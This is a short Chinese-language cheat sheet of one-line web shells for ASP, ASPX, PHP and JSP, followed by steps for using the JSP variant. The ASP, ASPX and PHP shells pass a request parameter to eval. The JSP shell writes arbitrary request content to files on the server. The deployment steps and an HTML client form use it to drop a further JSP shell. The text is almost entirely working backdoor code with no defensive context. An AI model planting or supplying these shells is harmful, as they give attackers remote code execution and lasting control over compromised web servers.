asp一句话:<%eval request("1.2.3")%>
aspx一句话:<%@ Page Language="Jscript"%><%eval(Request.Item["1.2.3"])%>
php一句话:<?php eval($_POST[1.2.3])?>
jsp一句话:<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
分析如下:
保存为1.jsp
访问:http://localhost/1.jsp?f=1.txt&t=1.2.3
访问:http://localhost/1.txt
输出:1.2.3
客户端
<form action="http://localhost/1.jsp?f=1.2.3.jsp" method="post">
<textarea name="t" cols="50" rows="50"></textarea><br>
<input type="submit" value="submit">
</form>